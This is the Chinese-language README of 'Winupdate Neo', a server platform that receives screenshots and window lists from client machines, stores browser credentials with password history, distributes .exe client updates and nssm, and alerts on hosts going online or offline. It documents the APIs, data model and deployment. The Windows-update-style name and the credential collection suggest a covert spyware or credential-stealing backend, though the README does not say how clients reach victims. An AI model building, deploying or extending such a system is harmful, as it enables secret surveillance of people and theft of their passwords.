Winupdate Neo

一个基于 Next.js + Prisma + MinIO 的“主机截图与版本分发平台”。用于接收客户端上报的屏幕截图与窗口信息,保存到对象存储;配套 Web UI 浏览、检索与收藏记录,并提供将一段时间内的截图压制为视频的能力。同时支持客户端版本文件的上传与分发,以及主机浏览器凭据(含历史密码)入库与查询。

功能一览

  • 主机与记录
    • 接收主机上报的多张截图与窗口信息,自动建档并存储
    • 按主机、时间范围检索记录;星标记录管理与分页
    • 小时维度“活跃度”时间分布统计
  • 媒体处理与下载
    • 截图以 AV1.avif压缩后存入 MinIO
    • 将一段时间内的截图转码为 MP4SVT-AV1 编码)供下载
    • 文件直链下载(版本文件/截图等)
  • 凭据采集
    • 上报主机浏览器凭据(含历史密码版本),去重合并保存
  • 版本分发
    • 上传客户端新版本(.exe自动生成校验和与下载地址并标记最新
    • 查询最新版本信息与下载链接
  • 计划任务与通知
    • node-cron 定时任务管理(示例:整点任务、每日清理)与前端管理页 /tasks
    • 可选 QQ 机器人 WebHook 推送“主机上线/离线”等通知
  • 安全与访问控制
    • 页面侧(非 API支持 Basic AuthAPI 默认允许跨域withCors

技术栈

  • Next.js 15 + React 19 + TypeScript
  • Prisma 6PostgreSQL
  • MinIOS3 兼容对象存储)
  • node-cron 定时任务
  • Tailwind CSS v4
  • 运行与进程管理Bun、PM2
  • 媒体处理FFmpeglibsvtav1

目录结构(节选)

app/
  hosts/
    route.ts                    # 主机列表 APIGET
    [hostname]/
      page.tsx                  # 主机详情页UI
      credentials/route.ts      # 凭据GET/POST
      screenshots/route.ts      # 截图GET查询/POST上传
      starred/route.ts          # 星标记录GET分页/POST批量标记
      time-distribution/route.ts# 小时分布统计
  downloads/[fileId]/route.ts   # 文件下载版本、nssm
  screenshots/[fileId]/route.ts # 截图文件回源
  api/
    tasks/route.ts              # 计划任务状态/控制
    generate/video/route.ts     # 按时间段合成视频MP4
    version/route.ts            # 获取最新版本API 变体)
  version/route.ts              # 获取最新版本App 路由变体)
lib/
  prisma.ts                     # PrismaClient 单例
  config.ts                     # 端口与 Basic Auth 配置
  middleware.ts                 # withAuth / withCors 辅助
  fileStorage.ts                # MinIO 存储封装put/get/delete/stat
  minioClient.ts                # MinIO 客户端与初始化
  encodeVideo.ts                # 图片压制为 AV1 视频
  scheduler.ts / init-scheduler.ts # 定时任务注册
  push/qq.ts                    # QQ Bot 推送
prisma/
  schema.prisma                 # 数据模型
pm2.config.js                   # PM2 生产运行配置
middleware.ts                   # Next 中间件:页面 Basic Auth

前置依赖

  • Node.js 18+(推荐 20+
  • Bun推荐仓库包含 bun.lock
  • PostgreSQL 数据库
  • MinIO或任意 S3 兼容对象存储)
  • FFmpeg需包含 libsvtav1 编码器)

环境变量

在项目根目录创建 .env生产环境同样需要

# Server
PORT=3000
NODE_ENV=development

# Basic Auth仅页面侧使用API 默认不校验)
AUTH_USERNAME=admin
AUTH_PASSWORD=password

# DatabasePostgreSQL
DATABASE_URL="postgresql://user:pass@localhost:5432/winupdate_neo?schema=public"

# MinIO / S3
MINIO_ENDPOINT=127.0.0.1
MINIO_PORT=9000
MINIO_USE_SSL=false
MINIO_ACCESS_KEY=your_minio_access_key
MINIO_SECRET_KEY=your_minio_secret_key
MINIO_BUCKET_NAME=winupdate

# 可选QQ Bot 推送
QQ_BOT_URL=
QQ_BOT_TARGET_ID=

提示PM2 配置会读取当前目录下的 .envpm2.config.js 内部使用 dotenv 载入),生产环境注意设置强口令与私密变量。

安装与运行

  • 安装依赖
bun install
  • 生成 Prisma Client 并迁移数据库(开发)
bun run db:generate
bun run db:migrate
  • 开发运行
bun run dev
  • 构建与启动(本地/容器)
bun run build
bun run start
  • 使用 PM2 生产部署(推荐)
# 首次
pm2 start pm2.config.js
# 查看状态
pm2 status
# 查看日志
pm2 logs winupdate-neo --lines 200
# 更新版本后重启
pm2 restart winupdate-neo

日志默认输出至 logs/,可在 pm2.config.js 中调整。

数据模型Prisma

  • Host主机按 hostname 唯一
  • Record一次上报记录关联若干 Window 与 Screenshot支持 isStarred
  • Window窗口信息title/path/memorymemory 为 BigInt
  • Screenshot截图文件元信息核心为 objectNameMinIO 对象名)
  • Credential主机-用户-浏览器-URL-Login 唯一,含 lastSyncTime
  • Password凭据的历史密码值时间序列
  • Version版本文件元信息fileId/objectName/checksum/isLatest
  • Nssm辅助可下载文件的元信息

MinIO 存储约定

  • 桶名MINIO_BUCKET_NAME默认 winupdate
  • 对象路径:
    • 截图screenshots/YYYY/MM/DD/{hostname}/{uuid}.avif
    • 版本versions/YYYY/MM/{uuid}.exe
    • 其他files/YYYY/MM/DD/{uuid}
  • 常用元数据:
    • Content-Type、X-Original-Filename、X-File-ID、X-Upload-Time、X-File-Type、X-Hostname

核心 API节选

  • 主机列表
    • GET /hosts
  • 截图上传/查询(按主机)
    • POST /hosts/{hostname}/screenshotsmultipart/form-data
      • 字段windows_infoJSON 字符串screenshot_0..n文件
    • GET /hosts/{hostname}/screenshots?startTime=...&endTime=...
      • 支持 Unix 秒或 ISO 时间,返回 records + windows + screenshotswindows.memory 已转 string
  • 星标记录(按主机)
    • GET /hosts/{hostname}/starred?page=1&limit=50
    • POST /hosts/{hostname}/starred
      • JSON{ "action": "star"|"unstar", "recordIds": ["..."] }
  • 切换单条记录星标
    • PATCH /api/records/{recordId}/star
  • 凭据
    • POST /hosts/{hostname}/credentialsBody 为特殊数组结构,首项形如 ["User", "username"],其后为浏览器项)
    • GET /hosts/{hostname}/credentials包含密码历史降序
  • 时间分布统计(小时)
    • GET /hosts/{hostname}/time-distribution?from=ISO&to=ISO
    • 返回:[{ timestamp: 秒, count }...]
  • 截图文件
    • GET /screenshots/{fileId}
  • 版本文件下载
    • GET /downloads/{fileId}
  • 最新版本查询
    • GET /versionApp 路由)或 GET /api/versionAPI 路由),均返回 { version, download_url, checksum }
  • 截图合成视频MP4
    • GET /api/generate/video?hostname=xxx&startTime=unixSec&endTime=unixSec

跨域:大多数 API 通过 withCors 允许跨域Access-Control-Allow-Origin: *)。

示例:上传截图

curl -X POST "http://localhost:3000/hosts/TEST-PC/screenshots" \
  -F "windows_info=[{\"title\":\"Explorer\",\"path\":\"C:/Windows/explorer.exe\",\"memory\":12345}]" \
  -F "screenshot_0=@/path/to/a.png" \
  -F "screenshot_1=@/path/to/b.png"

示例:批量星标

curl -X POST "http://localhost:3000/hosts/TEST-PC/starred" \
  -H "Content-Type: application/json" \
  -d '{"action":"star","recordIds":["rec_xxx","rec_yyy"]}'

示例:生成时间段视频

curl -L "http://localhost:3000/api/generate/video?hostname=TEST-PC&startTime=1751104800&endTime=1751108400" -o out.mp4

认证与安全

  • 页面 Basic Auth根中间件对大多数页面启用基本认证用户名/密码来自 AUTH_USERNAME/AUTH_PASSWORD。以下路径跳过认证
    • /api/、/screenshots/、/downloads/、/_next/、/favicon.ico以及所有 POST 请求等
  • API 跨域:默认允许任意来源(可按需收紧)
  • 建议:
    • 生产开启 HTTPS
    • 使用强口令并限制来源 IP
    • 为数据库与对象存储设置最小权限账号

定时任务

  • 由 lib/scheduler.ts 定义并在服务端初始化lib/init-scheduler.ts
  • 已内置:
    • 每小时第 30 分执行的示例任务
    • 每日 02:00 清理任务(示例)
  • 管理界面:/tasks可查看状态并启动/停止
  • 通过 /api/tasks 提供状态与控制 API

部署要点PM2

  • 确保 .env、数据库与 MinIO 可用
  • FFmpeg 必须包含 libsvtav1否则截图转码/视频合成会失败)
  • 启动pm2 start pm2.config.js脚本使用 bun run start端口默认 12398可由 .env PORT 覆盖)
  • 日志logs/ 目录

常见问题FAQ

  • MinIO 连接失败
    • 检查 MINIO_ENDPOINT/MINIO_PORT/MINIO_ACCESS_KEY/MINIO_SECRET_KEY
    • 确认桶 MINIO_BUCKET_NAME 已存在
  • 截图上传 500/视频生失败
    • 确认 FFmpeg 安装且包含 libsvtav1服务器有足够的 CPU 与临时磁盘
  • JSON 序列化 BigInt 报错
    • API 层已处理 window.memory 的 BigInt->string前端请按字符串消费
  • 版本下载 404
    • /downloads/{fileId} 会在 versions 与 nssm 两表中查找,请确认 fileId 与库内记录一致

开发提示

  • 新增模型后:更新 prisma/schema.prisma -> bun run db:generate -> bun run db:migrate
  • 新增静态/下载接口时:优先只暴露 fileId后端内部解析为 objectName 再从 MinIO 取文件
  • encodeVideo.ts 的 concat+SVT-AV1 管道对输入图片顺序敏感,注意生成 list.txt 的顺序

许可

未设置许可License。如需开源或分发请在提交前添加合适的 LICENSE 文件。


如需更多部署细节,可参考仓库中的 DEPLOYMENT.md。

Description
No description provided
Readme 19 MiB
Languages
TypeScript 95.9%
Batchfile 2.1%
JavaScript 1.7%
CSS 0.3%